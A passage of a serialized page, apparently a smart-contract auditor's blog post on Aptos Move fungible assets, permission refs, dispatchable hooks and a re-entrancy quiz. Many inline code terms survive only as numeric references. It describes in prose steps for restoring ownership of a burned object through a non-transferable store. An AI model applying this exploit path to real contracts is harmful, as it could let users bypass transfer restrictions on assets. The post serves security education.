"type":31,"value":69160}," to",{"type":25,"tag":216,"props":69162,"children":69163},{"style":6958},[69164],{"type":31,"value":6961},{"type":25,"tag":216,"props":69166,"children":69167},{"class":6916,"line":7551},[69168],{"type":25,"tag":216,"props":69169,"children":69170},{"style":6958},[69171],{"type":31,"value":7868},{"type":25,"tag":38,"props":69173,"children":69174},{},[69175,69177,69182,69184,69189],{"type":31,"value":69176},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":25,"tag":82,"props":69178,"children":69180},{"className":69179},[],[69181],{"type":31,"value":67834},{"type":31,"value":69183},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":25,"tag":82,"props":69185,"children":69187},{"className":69186},[],[69188],{"type":31,"value":11092},{"type":31,"value":69190}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":25,"tag":607,"props":69192,"children":69194},{"id":69193},"references",[69195],{"type":31,"value":69196},"References",{"type":25,"tag":38,"props":69198,"children":69199},{},[69200,69205,69207,69213,69215,69220,69222,69227],{"type":25,"tag":82,"props":69201,"children":69203},{"className":69202},[],[69204],{"type":31,"value":69196},{"type":31,"value":69206}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":25,"tag":82,"props":69208,"children":69210},{"className":69209},[],[69211],{"type":31,"value":69212},"Refs",{"type":31,"value":69214}," are based on the ",{"type":25,"tag":82,"props":69216,"children":69218},{"className":69217},[],[69219],{"type":31,"value":52814},{"type":31,"value":69221}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":25,"tag":82,"props":69223,"children":69225},{"className":69224},[],[69226],{"type":31,"value":52814},{"type":31,"value":69228}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":25,"tag":38,"props":69230,"children":69231},{},[69232,69234,69239,69241,69246,69247,69253,69255,69260,69262,69267],{"type":31,"value":69233},"Let's get back to the ",{"type":25,"tag":82,"props":69235,"children":69237},{"className":69236},[],[69238],{"type":31,"value":66038},{"type":31,"value":69240}," deletion example. Both ",{"type":25,"tag":82,"props":69242,"children":69244},{"className":69243},[],[69245],{"type":31,"value":67323},{"type":31,"value":1301},{"type":25,"tag":82,"props":69248,"children":69250},{"className":69249},[],[69251],{"type":31,"value":69252},"fungible_asset::remove_store",{"type":31,"value":69254}," use the same object-specific ",{"type":25,"tag":82,"props":69256,"children":69258},{"className":69257},[],[69259],{"type":31,"value":67255},{"type":31,"value":69261}," permission. It can be created only during object creation. There is no separate ",{"type":25,"tag":82,"props":69263,"children":69265},{"className":69264},[],[69266],{"type":31,"value":67255},{"type":31,"value":69268}," for fungible assets.",{"type":25,"tag":206,"props":69270,"children":69271},{"className":6909,"code":67205,"language":6908,"meta":7,"style":7},[69272],{"type":25,"tag":82,"props":69273,"children":69274},{"__ignoreMap":7},[69275,69282,69321,69328,69335],{"type":25,"tag":216,"props":69276,"children":69277},{"class":6916,"line":6917},[69278],{"type":25,"tag":216,"props":69279,"children":69280},{"style":6921},[69281],{"type":31,"value":67217},{"type":25,"tag":216,"props":69283,"children":69284},{"class":6916,"line":6763},[69285,69289,69293,69297,69301,69305,69309,69313,69317],{"type":25,"tag":216,"props":69286,"children":69287},{"style":6941},[69288],{"type":31,"value":65637},{"type":25,"tag":216,"props":69290,"children":69291},{"style":6941},[69292],{"type":31,"value":10152},{"type":25,"tag":216,"props":69294,"children":69295},{"style":7041},[69296],{"type":31,"value":67233},{"type":25,"tag":216,"props":69298,"children":69299},{"style":6958},[69300],{"type":31,"value":1844},{"type":25,"tag":216,"props":69302,"children":69303},{"style":6941},[69304],{"type":31,"value":67242},{"type":25,"tag":216,"props":69306,"children":69307},{"style":6947},[69308],{"type":31,"value":1466},{"type":25,"tag":216,"props":69310,"children":69311},{"style":6947},[69312],{"type":31,"value":11087},{"type":25,"tag":216,"props":69314,"children":69315},{"style":7369},[69316],{"type":31,"value":67255},{"type":25,"tag":216,"props":69318,"children":69319},{"style":6958},[69320],{"type":31,"value":7101},{"type":25,"tag":216,"props":69322,"children":69323},{"class":6916,"line":6772},[69324],{"type":25,"tag":216,"props":69325,"children":69326},{"emptyLinePlaceholder":16},[69327],{"type":31,"value":7636},{"type":25,"tag":216,"props":69329,"children":69330},{"class":6916,"line":6999},[69331],{"type":25,"tag":216,"props":69332,"children":69333},{"style":6921},[69334],{"type":31,"value":67274},{"type":25,"tag":216,"props":69336,"children":69337},{"class":6916,"line":7104},[69338,69342,69346,69350,69354,69358,69362,69366],{"type":25,"tag":216,"props":69339,"children":69340},{"style":6941},[69341],{"type":31,"value":65637},{"type":25,"tag":216,"props":69343,"children":69344},{"style":6941},[69345],{"type":31,"value":10152},{"type":25,"tag":216,"props":69347,"children":69348},{"style":7041},[69349],{"type":31,"value":67290},{"type":25,"tag":216,"props":69351,"children":69352},{"style":6958},[69353],{"type":31,"value":1844},{"type":25,"tag":216,"props":69355,"children":69356},{"style":6930},[69357],{"type":31,"value":67299},{"type":25,"tag":216,"props":69359,"children":69360},{"style":6947},[69361],{"type":31,"value":1466},{"type":25,"tag":216,"props":69363,"children":69364},{"style":7369},[69365],{"type":31,"value":67308},{"type":25,"tag":216,"props":69367,"children":69368},{"style":6958},[69369],{"type":31,"value":7101},{"type":25,"tag":38,"props":69371,"children":69372},{},[69373,69375,69380,69382,69388],{"type":31,"value":69374},"On the other hand, the \"frozen\" status of a ",{"type":25,"tag":82,"props":69376,"children":69378},{"className":69377},[],[69379],{"type":31,"value":66038},{"type":31,"value":69381}," is toggled using a ",{"type":25,"tag":82,"props":69383,"children":69385},{"className":69384},[],[69386],{"type":31,"value":69387},"TransferRef",{"type":31,"value":69389},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":25,"tag":206,"props":69391,"children":69393},{"className":6909,"code":69392,"language":6908,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[69394],{"type":25,"tag":82,"props":69395,"children":69396},{"__ignoreMap":7},[69397,69433,69457,69484,69503],{"type":25,"tag":216,"props":69398,"children":69399},{"class":6916,"line":6917},[69400,69404,69408,69413,69417,69421,69425,69429],{"type":25,"tag":216,"props":69401,"children":69402},{"style":6941},[69403],{"type":31,"value":65637},{"type":25,"tag":216,"props":69405,"children":69406},{"style":6941},[69407],{"type":31,"value":10152},{"type":25,"tag":216,"props":69409,"children":69410},{"style":6941},[69411],{"type":31,"value":69412}," set_frozen_flag",{"type":25,"tag":216,"props":69414,"children":69415},{"style":6958},[69416],{"type":31,"value":9751},{"type":25,"tag":216,"props":69418,"children":69419},{"style":7369},[69420],{"type":31,"value":177},{"type":25,"tag":216,"props":69422,"children":69423},{"style":6947},[69424],{"type":31,"value":1466},{"type":25,"tag":216,"props":69426,"children":69427},{"style":6941},[69428],{"type":31,"value":9877},{"type":25,"tag":216,"props":69430,"children":69431},{"style":6958},[69432],{"type":31,"value":10534},{"type":25,"tag":216,"props":69434,"children":69435},{"class":6916,"line":6763},[69436,69441,69445,69449,69453],{"type":25,"tag":216,"props":69437,"children":69438},{"style":6930},[69439],{"type":31,"value":69440},"    ref",{"type":25,"tag":216,"props":69442,"children":69443},{"style":6947},[69444],{"type":31,"value":1466},{"type":25,"tag":216,"props":69446,"children":69447},{"style":6947},[69448],{"type":31,"value":11087},{"type":25,"tag":216,"props":69450,"children":69451},{"style":7369},[69452],{"type":31,"value":69387},{"type":25,"tag":216,"props":69454,"children":69455},{"style":6958},[69456],{"type":31,"value":7459},{"type":25,"tag":216,"props":69458,"children":69459},{"class":6916,"line":6772},[69460,69464,69468,69472,69476,69480],{"type":25,"tag":216,"props":69461,"children":69462},{"style":6941},[69463],{"type":31,"value":33368},{"type":25,"tag":216,"props":69465,"children":69466},{"style":6947},[69467],{"type":31,"value":1466},{"type":25,"tag":216,"props":69469,"children":69470},{"style":7369},[69471],{"type":31,"value":65523},{"type":25,"tag":216,"props":69473,"children":69474},{"style":6958},[69475],{"type":31,"value":9751},{"type":25,"tag":216,"props":69477,"children":69478},{"style":7369},[69479],{"type":31,"value":177},{"type":25,"tag":216,"props":69481,"children":69482},{"style":6958},[69483],{"type":31,"value":10083},{"type":25,"tag":216,"props":69485,"children":69486},{"class":6916,"line":6999},[69487,69491,69495,69499],{"type":25,"tag":216,"props":69488,"children":69489},{"style":6941},[69490],{"type":31,"value":65175},{"type":25,"tag":216,"props":69492,"children":69493},{"style":6947},[69494],{"type":31,"value":1466},{"type":25,"tag":216,"props":69496,"children":69497},{"style":7369},[69498],{"type":31,"value":16000},{"type":25,"tag":216,"props":69500,"children":69501},{"style":6958},[69502],{"type":31,"value":7459},{"type":25,"tag":216,"props":69504,"children":69505},{"class":6916,"line":7104},[69506],{"type":25,"tag":216,"props":69507,"children":69508},{"style":6958},[69509],{"type":31,"value":7101},{"type":25,"tag":38,"props":69511,"children":69512},{},[69513,69514,69519,69520,69525],{"type":31,"value":474},{"type":25,"tag":82,"props":69515,"children":69517},{"className":69516},[],[69518],{"type":31,"value":52814},{"type":31,"value":10403},{"type":25,"tag":82,"props":69521,"children":69523},{"className":69522},[],[69524],{"type":31,"value":69387},{"type":31,"value":69526}," is used to transfer object ownership:",{"type":25,"tag":206,"props":69528,"children":69530},{"className":6909,"code":69529,"language":6908,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[69531],{"type":25,"tag":82,"props":69532,"children":69533},{"__ignoreMap":7},[69534,69542,69575,69594],{"type":25,"tag":216,"props":69535,"children":69536},{"class":6916,"line":6917},[69537],{"type":25,"tag":216,"props":69538,"children":69539},{"style":6921},[69540],{"type":31,"value":69541},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":25,"tag":216,"props":69543,"children":69544},{"class":6916,"line":6763},[69545,69549,69554,69558,69563,69567,69571],{"type":25,"tag":216,"props":69546,"children":69547},{"style":6930},[69548],{"type":31,"value":13351},{"type":25,"tag":216,"props":69550,"children":69551},{"style":7369},[69552],{"type":31,"value":69553}," TransferRef",{"type":25,"tag":216,"props":69555,"children":69556},{"style":6941},[69557],{"type":31,"value":13360},{"type":25,"tag":216,"props":69559,"children":69560},{"style":6941},[69561],{"type":31,"value":69562}," drop",{"type":25,"tag":216,"props":69564,"children":69565},{"style":6958},[69566],{"type":31,"value":7020},{"type":25,"tag":216,"props":69568,"children":69569},{"style":6941},[69570],{"type":31,"value":9886},{"type":25,"tag":216,"props":69572,"children":69573},{"style":6958},[69574],{"type":31,"value":7235},{"type":25,"tag":216,"props":69576,"children":69577},{"class":6916,"line":6772},[69578,69582,69586,69590],{"type":25,"tag":216,"props":69579,"children":69580},{"style":6930},[69581],{"type":31,"value":24740},{"type":25,"tag":216,"props":69583,"children":69584},{"style":6947},[69585],{"type":31,"value":1466},{"type":25,"tag":216,"props":69587,"children":69588},{"style":6941},[69589],{"type":31,"value":10195},{"type":25,"tag":216,"props":69591,"children":69592},{"style":6958},[69593],{"type":31,"value":7459},{"type":25,"tag":216,"props":69595,"children":69596},{"class":6916,"line":6999},[69597],{"type":25,"tag":216,"props":69598,"children":69599},{"style":6958},[69600],{"type":31,"value":7868},{"type":25,"tag":38,"props":69602,"children":69603},{},[69604,69606,69611],{"type":31,"value":69605},"While the fungible asset's ",{"type":25,"tag":82,"props":69607,"children":69609},{"className":69608},[],[69610],{"type":31,"value":69387},{"type":31,"value":69612}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":25,"tag":206,"props":69614,"children":69616},{"className":6909,"code":69615,"language":6908,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[69617],{"type":25,"tag":82,"props":69618,"children":69619},{"__ignoreMap":7},[69620,69628,69636,69667,69694],{"type":25,"tag":216,"props":69621,"children":69622},{"class":6916,"line":6917},[69623],{"type":25,"tag":216,"props":69624,"children":69625},{"style":6921},[69626],{"type":31,"value":69627},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":25,"tag":216,"props":69629,"children":69630},{"class":6916,"line":6763},[69631],{"type":25,"tag":216,"props":69632,"children":69633},{"style":6921},[69634],{"type":31,"value":69635},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":25,"tag":216,"props":69637,"children":69638},{"class":6916,"line":6772},[69639,69643,69647,69651,69655,69659,69663],{"type":25,"tag":216,"props":69640,"children":69641},{"style":6930},[69642],{"type":31,"value":13351},{"type":25,"tag":216,"props":69644,"children":69645},{"style":7369},[69646],{"type":31,"value":69553},{"type":25,"tag":216,"props":69648,"children":69649},{"style":6941},[69650],{"type":31,"value":13360},{"type":25,"tag":216,"props":69652,"children":69653},{"style":6941},[69654],{"type":31,"value":69562},{"type":25,"tag":216,"props":69656,"children":69657},{"style":6958},[69658],{"type":31,"value":7020},{"type":25,"tag":216,"props":69660,"children":69661},{"style":6941},[69662],{"type":31,"value":9886},{"type":25,"tag":216,"props":69664,"children":69665},{"style":6958},[69666],{"type":31,"value":7235},{"type":25,"tag":216,"props":69668,"children":69669},{"class":6916,"line":6999},[69670,69674,69678,69682,69686,69690],{"type":25,"tag":216,"props":69671,"children":69672},{"style":6941},[69673],{"type":31,"value":65514},{"type":25,"tag":216,"props":69675,"children":69676},{"style":6947},[69677],{"type":31,"value":1466},{"type":25,"tag":216,"props":69679,"children":69680},{"style":7369},[69681],{"type":31,"value":65523},{"type":25,"tag":216,"props":69683,"children":69684},{"style":6958},[69685],{"type":31,"value":9751},{"type":25,"tag":216,"props":69687,"children":69688},{"style":7369},[69689],{"type":31,"value":65532},{"type":25,"tag":216,"props":69691,"children":69692},{"style":6958},[69693],{"type":31,"value":9937},{"type":25,"tag":216,"props":69695,"children":69696},{"class":6916,"line":7104},[69697],{"type":25,"tag":216,"props":69698,"children":69699},{"style":6958},[69700],{"type":31,"value":7868},{"type":25,"tag":38,"props":69702,"children":69703},{},[69704,69706,69712,69714,69720],{"type":31,"value":69705},"Additionally, there are fungible asset-specific references such as ",{"type":25,"tag":82,"props":69707,"children":69709},{"className":69708},[],[69710],{"type":31,"value":69711},"MintRef",{"type":31,"value":69713}," for minting and ",{"type":25,"tag":82,"props":69715,"children":69717},{"className":69716},[],[69718],{"type":31,"value":69719},"BurnRef",{"type":31,"value":69721}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":25,"tag":26,"props":69723,"children":69725},{"id":69724},"dispatchable-fungible-assets",[69726],{"type":31,"value":69727},"Dispatchable fungible assets",{"type":25,"tag":38,"props":69729,"children":69730},{},[69731],{"type":31,"value":69732},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":25,"tag":38,"props":69734,"children":69735},{},[69736],{"type":31,"value":69737},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":25,"tag":69739,"props":69740,"children":69741},"warning",{},[69742],{"type":25,"tag":38,"props":69743,"children":69744},{},[69745,69747,69753],{"type":31,"value":69746},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":25,"tag":82,"props":69748,"children":69750},{"className":69749},[],[69751],{"type":31,"value":69752},"transfer_assert_minimum_deposit",{"type":31,"value":69754}," that can help mitigate such risks.",{"type":25,"tag":38,"props":69756,"children":69757},{},[69758,69760,69765,69767,69774],{"type":31,"value":69759},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":25,"tag":82,"props":69761,"children":69763},{"className":69762},[],[69764],{"type":31,"value":65637},{"type":31,"value":69766}," to ensure ",{"type":25,"tag":162,"props":69768,"children":69771},{"href":69769,"rel":69770},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[166],[69772],{"type":31,"value":69773},"their signature remains immutable",{"type":31,"value":69775},". An example implementation might look like this:",{"type":25,"tag":206,"props":69777,"children":69779},{"className":6909,"code":69778,"language":6908,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[69780],{"type":25,"tag":82,"props":69781,"children":69782},{"__ignoreMap":7},[69783,69819,69846,69865,69889,69908,69916,69962,69969,69976,70012,70039,70059,70082,70089,70096,70140],{"type":25,"tag":216,"props":69784,"children":69785},{"class":6916,"line":6917},[69786,69790,69794,69799,69803,69807,69811,69815],{"type":25,"tag":216,"props":69787,"children":69788},{"style":6941},[69789],{"type":31,"value":65637},{"type":25,"tag":216,"props":69791,"children":69792},{"style":6941},[69793],{"type":31,"value":10152},{"type":25,"tag":216,"props":69795,"children":69796},{"style":6941},[69797],{"type":31,"value":69798}," withdraw_hook",{"type":25,"tag":216,"props":69800,"children":69801},{"style":6958},[69802],{"type":31,"value":9751},{"type":25,"tag":216,"props":69804,"children":69805},{"style":7369},[69806],{"type":31,"value":177},{"type":25,"tag":216,"props":69808,"children":69809},{"style":6947},[69810],{"type":31,"value":1466},{"type":25,"tag":216,"props":69812,"children":69813},{"style":6941},[69814],{"type":31,"value":9877},{"type":25,"tag":216,"props":69816,"children":69817},{"style":6958},[69818],{"type":31,"value":10534},{"type":25,"tag":216,"props":69820,"children":69821},{"class":6916,"line":6763},[69822,69826,69830,69834,69838,69842],{"type":25,"tag":216,"props":69823,"children":69824},{"style":6941},[69825],{"type":31,"value":33368},{"type":25,"tag":216,"props":69827,"children":69828},{"style":6947},[69829],{"type":31,"value":1466},{"type":25,"tag":216,"props":69831,"children":69832},{"style":7369},[69833],{"type":31,"value":65523},{"type":25,"tag":216,"props":69835,"children":69836},{"style":6958},[69837],{"type":31,"value":9751},{"type":25,"tag":216,"props":69839,"children":69840},{"style":7369},[69841],{"type":31,"value":177},{"type":25,"tag":216,"props":69843,"children":69844},{"style":6958},[69845],{"type":31,"value":10083},{"type":25,"tag":216,"props":69847,"children":69848},{"class":6916,"line":6772},[69849,69853,69857,69861],{"type":25,"tag":216,"props":69850,"children":69851},{"style":6941},[69852],{"type":31,"value":65544},{"type":25,"tag":216,"props":69854,"children":69855},{"style":6947},[69856],{"type":31,"value":1466},{"type":25,"tag":216,"props":69858,"children":69859},{"style":7369},[69860],{"type":31,"value":9805},{"type":25,"tag":216,"props":69862,"children":69863},{"style":6958},[69864],{"type":31,"value":7459},{"type":25,"tag":216,"props":69866,"children":69867},{"class":6916,"line":6999},[69868,69873,69877,69881,69885],{"type":25,"tag":216,"props":69869,"children":69870},{"style":6941},[69871],{"type":31,"value":69872},"    transfer_ref",{"type":25,"tag":216,"props":69874,"children":69875},{"style":6947},[69876],{"type":31,"value":1466},{"type":25,"tag":216,"props":69878,"children":69879},{"style":6947},[69880],{"type":31,"value":11087},{"type":25,"tag":216,"props":69882,"children":69883},{"style":7369},[69884],{"type":31,"value":69387},{"type":25,"tag":216,"props":69886,"children":69887},{"style":6958},[69888],{"type":31,"value":7459},{"type":25,"tag":216,"props":69890,"children":69891},{"class":6916,"line":7104},[69892,69896,69900,69904],{"type":25,"tag":216,"props":69893,"children":69894},{"style":6958},[69895],{"type":31,"value":1882},{"type":25,"tag":216,"props":69897,"children":69898},{"style":6947},[69899],{"type":31,"value":1466},{"type":25,"tag":216,"props":69901,"children":69902},{"style":7369},[69903],{"type":31,"value":65502},{"type":25,"tag":216,"props":69905,"children":69906},{"style":6958},[69907],{"type":31,"value":7235},{"type":25,"tag":216,"props":69909,"children":69910},{"class":6916,"line":7210},[69911],{"type":25,"tag":216,"props":69912,"children":69913},{"style":6921},[69914],{"type":31,"value":69915},"    //check paused, gather fees etc.\n",{"type":25,"tag":216,"props":69917,"children":69918},{"class":6916,"line":7238},[69919,69924,69928,69933,69937,69942,69946,69950,69954,69958],{"type":25,"tag":216,"props":69920,"children":69921},{"style":6958},[69922],{"type":31,"value":69923},"    fungible_asset",{"type":25,"tag":216,"props":69925,"children":69926},{"style":6947},[69927],{"type":31,"value":7432},{"type":25,"tag":216,"props":69929,"children":69930},{"style":7041},[69931],{"type":31,"value":69932},"withdraw_with_ref",{"type":25,"tag":216,"props":69934,"children":69935},{"style":6958},[69936],{"type":31,"value":1844},{"type":25,"tag":216,"props":69938,"children":69939},{"style":6941},[69940],{"type":31,"value":69941},"transfer_ref",{"type":25,"tag":216,"props":69943,"children":69944},{"style":6958},[69945],{"type":31,"value":7020},{"type":25,"tag":216,"props":69947,"children":69948},{"style":6941},[69949],{"type":31,"value":9886},{"type":25,"tag":216,"props":69951,"children":69952},{"style":6958},[69953],{"type":31,"value":7020},{"type":25,"tag":216,"props":69955,"children":69956},{"style":6941},[69957],{"type":31,"value":24260},{"type":25,"tag":216,"props":69959,"children":69960},{"style":6958},[69961],{"type":31,"value":7101},{"type":25,"tag":216,"props":69963,"children":69964},{"class":6916,"line":7251},[69965],{"type":25,"tag":216,"props":69966,"children":69967},{"style":6958},[69968],{"type":31,"value":7868},{"type":25,"tag":216,"props":69970,"children":69971},{"class":6916,"line":7269},[69972],{"type":25,"tag":216,"props":69973,"children":69974},{"emptyLinePlaceholder":16},[69975],{"type":31,"value":7636},{"type":25,"tag":216,"props":69977,"children":69978},{"class":6916,"line":7290},[69979,69983,69987,69992,69996,70000,70004,70008],{"type":25,"tag":216,"props":69980,"children":69981},{"style":6941},[69982],{"type":31,"value":65637},{"type":25,"tag":216,"props":69984,"children":69985},{"style":6941},[69986],{"type":31,"value":10152},{"type":25,"tag":216,"props":69988,"children":69989},{"style":6941},[69990],{"type":31,"value":69991}," deposit_hook",{"type":25,"tag":216,"props":69993,"children":69994},{"style":6958},[69995],{"type":31,"value":9751},{"type":25,"tag":216,"props":69997,"children":69998},{"style":7369},[69999],{"type":31,"value":177},{"type":25,"tag":216,"props":70001,"children":70002},{"style":6947},[70003],{"type":31,"value":1466},{"type":25,"tag":216,"props":70005,"children":70006},{"style":6941},[70007],{"type":31,"value":9877},{"type":25,"tag":216,"props":70009,"children":70010},{"style":6958},[70011],{"type":31,"value":10534},{"type":25,"tag":216,"props":70013,"children":70014},{"class":6916,"line":7299},[70015,70019,70023,70027,70031,70035],{"type":25,"tag":216,"props":70016,"children":70017},{"style":6941},[70018],{"type":31,"value":33368},{"type":25,"tag":216,"props":70020,"children":70021},{"style":6947},[70022],{"type":31,"value":1466},{"type":25,"tag":216,"props":70024,"children":70025},{"style":7369},[70026],{"type":31,"value":65523},{"type":25,"tag":216,"props":70028,"children":70029},{"style":6958},[70030],{"type":31,"value":9751},{"type":25,"tag":216,"props":70032,"children":70033},{"style":7369},[70034],{"type":31,"value":177},{"type":25,"tag":216,"props":70036,"children":70037},{"style":6958},[70038],{"type":31,"value":10083},{"type":25,"tag":216,"props":70040,"children":70041},{"class":6916,"line":7551},[70042,70047,70051,70055],{"type":25,"tag":216,"props":70043,"children":70044},{"style":6941},[70045],{"type":31,"value":70046},"    fa",{"type":25,"tag":216,"props":70048,"children":70049},{"style":6947},[70050],{"type":31,"value":1466},{"type":25,"tag":216,"props":70052,"children":70053},{"style":7369},[70054],{"type":31,"value":65502},{"type":25,"tag":216,"props":70056,"children":70057},{"style":6958},[70058],{"type":31,"value":7459},{"type":25,"tag":216,"props":70060,"children":70061},{"class":6916,"line":7568},[70062,70066,70070,70074,70078],{"type":25,"tag":216,"props":70063,"children":70064},{"style":6941},[70065],{"type":31,"value":69872},{"type":25,"tag":216,"props":70067,"children":70068},{"style":6947},[70069],{"type":31,"value":1466},{"type":25,"tag":216,"props":70071,"children":70072},{"style":6947},[70073],{"type":31,"value":11087},{"type":25,"tag":216,"props":70075,"children":70076},{"style":7369},[70077],{"type":31,"value":69387},{"type":25,"tag":216,"props":70079,"children":70080},{"style":6958},[70081],{"type":31,"value":7459},{"type":25,"tag":216,"props":70083,"children":70084},{"class":6916,"line":7585},[70085],{"type":25,"tag":216,"props":70086,"children":70087},{"style":6958},[70088],{"type":31,"value":18755},{"type":25,"tag":216,"props":70090,"children":70091},{"class":6916,"line":7598},[70092],{"type":25,"tag":216,"props":70093,"children":70094},{"style":6921},[70095],{"type":31,"value":69915},{"type":25,"tag":216,"props":70097,"children":70098},{"class":6916,"line":7607},[70099,70103,70107,70112,70116,70120,70124,70128,70132,70136],{"type":25,"tag":216,"props":70100,"children":70101},{"style":6958},[70102],{"type":31,"value":69923},{"type":25,"tag":216,"props":70104,"children":70105},{"style":6947},[70106],{"type":31,"value":7432},{"type":25,"tag":216,"props":70108,"children":70109},{"style":7041},[70110],{"type":31,"value":70111},"deposit_with_ref",{"type":25,"tag":216,"props":70113,"children":70114},{"style":6958},[70115],{"type":31,"value":1844},{"type":25,"tag":216,"props":70117,"children":70118},{"style":6941},[70119],{"type":31,"value":69941},{"type":25,"tag":216,"props":70121,"children":70122},{"style":6958},[70123],{"type":31,"value":7020},{"type":25,"tag":216,"props":70125,"children":70126},{"style":6941},[70127],{"type":31,"value":9886},{"type":25,"tag":216,"props":70129,"children":70130},{"style":6958},[70131],{"type":31,"value":7020},{"type":25,"tag":216,"props":70133,"children":70134},{"style":6941},[70135],{"type":31,"value":65695},{"type":25,"tag":216,"props":70137,"children":70138},{"style":6958},[70139],{"type":31,"value":7791},{"type":25,"tag":216,"props":70141,"children":70142},{"class":6916,"line":7630},[70143],{"type":25,"tag":216,"props":70144,"children":70145},{"style":6958},[70146],{"type":31,"value":7868},{"type":25,"tag":70148,"props":70149,"children":70150},"question",{},[70151,70178],{"type":25,"tag":38,"props":70152,"children":70153},{},[70154,70156,70162,70164,70170,70171,70177],{"type":31,"value":70155},"Why hook functions rely on ",{"type":25,"tag":82,"props":70157,"children":70159},{"className":70158},[],[70160],{"type":31,"value":70161},"*_with_ref",{"type":31,"value":70163}," calls? What would happen if the hook function called ",{"type":25,"tag":82,"props":70165,"children":70167},{"className":70166},[],[70168],{"type":31,"value":70169},"dispatchable_fungible_asset::withdraw",{"type":31,"value":20745},{"type":25,"tag":82,"props":70172,"children":70174},{"className":70173},[],[70175],{"type":31,"value":70176},"fungible_asset::withdraw_with_ref",{"type":31,"value":605},{"type":25,"tag":70179,"props":70180,"children":70181},"template",{"v-slot:answer-0":7},[70182,70194],{"type":25,"tag":38,"props":70183,"children":70184},{},[70185,70187,70192],{"type":31,"value":70186},"A1: Hook functions rely on ",{"type":25,"tag":82,"props":70188,"children":70190},{"className":70189},[],[70191],{"type":31,"value":70161},{"type":31,"value":70193}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":25,"tag":38,"props":70195,"children":70196},{},[70197,70199,70204],{"type":31,"value":70198},"A2: A ",{"type":25,"tag":82,"props":70200,"children":70202},{"className":70201},[],[70203],{"type":31,"value":70169},{"type":31,"value":70205}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":25,"tag":38,"props":70207,"children":70208},{},[70209],{"type":31,"value":70210},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":25,"tag":206,"props":70212,"children":70214},{"className":6909,"code":70213,"language":6908,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[70215],{"type":25,"tag":82,"props":70216,"children":70217},{"__ignoreMap":7},[70218,70313,70333,70348,70368,70411,70426,70433,70440,70559,70578,70593,70612,70655],{"type":25,"tag":216,"props":70219,"children":70220},{"class":6916,"line":6917},[70221,70225,70229,70233,70237,70241,70245,70249,70253,70257,70261,70265,70269,70273,70277,70281,70285,70289,70293,70297,70301,70305,70309],{"type":25,"tag":216,"props":70222,"children":70223},{"style":6941},[70224],{"type":31,"value":65637},{"type":25,"tag":216,"props":70226,"children":70227},{"style":6941},[70228],{"type":31,"value":10152},{"type":25,"tag":216,"props":70230,"children":70231},{"style":6941},[70232],{"type":31,"value":65646},{"type":25,"tag":216,"props":70234,"children":70235},{"style":6958},[70236],{"type":31,"value":9751},{"type":25,"tag":216,"props":70238,"children":70239},{"style":7369},[70240],{"type":31,"value":177},{"type":25,"tag":216,"props":70242,"children":70243},{"style":6947},[70244],{"type":31,"value":1466},{"type":25,"tag":216,"props":70246,"children":70247},{"style":6941},[70248],{"type":31,"value":9877},{"type":25,"tag":216,"props":70250,"children":70251},{"style":6958},[70252],{"type":31,"value":11556},{"type":25,"tag":216,"props":70254,"children":70255},{"style":6941},[70256],{"type":31,"value":9886},{"type":25,"tag":216,"props":70258,"children":70259},{"style":6947},[70260],{"type":31,"value":1466},{"type":25,"tag":216,"props":70262,"children":70263},{"style":7369},[70264],{"type":31,"value":65523},{"type":25,"tag":216,"props":70266,"children":70267},{"style":6958},[70268],{"type":31,"value":9751}